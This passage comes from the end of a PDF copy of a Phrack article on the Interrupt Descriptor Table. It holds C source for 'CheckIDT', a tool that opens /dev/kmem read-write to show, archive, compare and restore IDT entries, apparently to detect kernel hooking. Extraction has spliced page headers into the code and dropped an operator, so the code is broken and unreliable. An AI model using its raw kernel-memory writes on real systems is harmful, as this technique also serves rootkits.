
    truct descriptor_idt));change=1;}

    }}

    if(!change)

    fprintf(stderr,VERT"All values are same\n"NORMAL);}

    void initialize_value(struct Mode *mode){mode->show_idt_addr=-1;mode->show_all_info=-1;mode->show_all_descriptor=-1;mode->create_file_archive=-1;mode->read_file_archive=-1;strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));mode->compare_idt=-1;mode->restore_idt=-1;

    strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP));mode->resolve=-1;}

    void usage(){fprintf(stderr,"CheckIDT V 1.1 by kad\n");fprintf(stderr,"---------------------\n");fprintf(stderr,"Option : \n");fprintf(stderr," -a nb show all info about one interrupt\n");fprintf(stderr," -A showw all info about all interrupt\n");fprintf(stderr," -I show IDT address \n");fprintf(stderr," -c create file archive\n");fprintf(stderr," -r read file archive\n");fprintf(stderr," -o file output filename (for creating file archi

    ve)\n");fprintf(stderr," -C compare save idt & new idt\n");fprintf(stderr," -R restore IDT\n");fprintf(stderr," -i file input filename to compare or read\n");fprintf(stderr," -s resolve symbol thanks to /boot/S

    ystem.map\n");fprintf(stderr," -S file specify a map file\n\n");exit(1);}

    int main(int argc, char ** argv){

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    43/44

    int option;struct Mode *mode;if (argc < 2)

    {usage();}

    mode=(struct Mode *) malloc(sizeof(struct Mode));initialize_value(mode);

    while((option=getopt(argc,argv,"hIa:Aco:Ci:rRsS:"))!=-1){switch(option)

    {case 'h': usage();

    exit(1);case 'I': mode->show_idt_addr=1;

    break;case 'a': mode->show_all_info=atoi(optarg);

    break;case 'A': mode->show_all_descriptor=1;break;

    case 'c': mode->create_file_archive=1;break;

    case 'r': mode->read_file_archive=1;break;

    case 'R': mode->restore_idt=1;break;

    case 'o': bzero(mode->out_filename,sizeof(mode->out_filename));

    if(strlen(optarg) > 20){

    fprintf(stderr,"Filename too long\n");exit(-1);

    }strncpy(mode->out_filename,optarg,strlen(optar

    g));break;

    case 'C': mode->compare_idt=1;break;

    case 'i': bzero(mode->in_filename,sizeof(mode->in_filename));

    if(strlen(optarg) > 20){fprintf(stderr,"Filename too long\n");exit(-1);}

    strncpy(mode->in_filename,optarg,strlen(optarg));

    break;case 's': mode->resolve=1;

    break;case 'S': bzero(mode->map_filename,sizeof(mode->

    map_filename));if(strlen(optarg) > 40)

    {fprintf(stderr,"

    Filename too long\n");exit(-1);}

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    44/44

    if(optarg)strncpy(mode->map_filename,optarg,strlen(optarg));

    break;}

    }printf("\n");ptr_idt=get_addr_idt();

    if(mode->show_idt_addr >= 0){fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt);}

    fd_kmem=open("/dev/kmem",O_RDWR);if(mode->show_all_info >= 0 mode->show_all_descriptor >= 0)

    {show_all_info(mode->show_all_info,mode->show_all_descriptor,mode

    ->map_filename,mode->resolve);}

    if(mode->create_file_archive >= 0){

    create_archive(mode->out_filename);}if(mode->read_file_archive >= 0)

    {read_archive(mode->in_filename);}

    if(mode->compare_idt >= 0){compare_idt(mode->in_filename,mode->restore_idt);}

    if(mode->restore_idt >= 0){compare_idt(mode->in_filename,mode->restore_idt);

    }printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL);

    free(mode);return 0;}

    =[ EOF ]=---------------------------------------------------------------=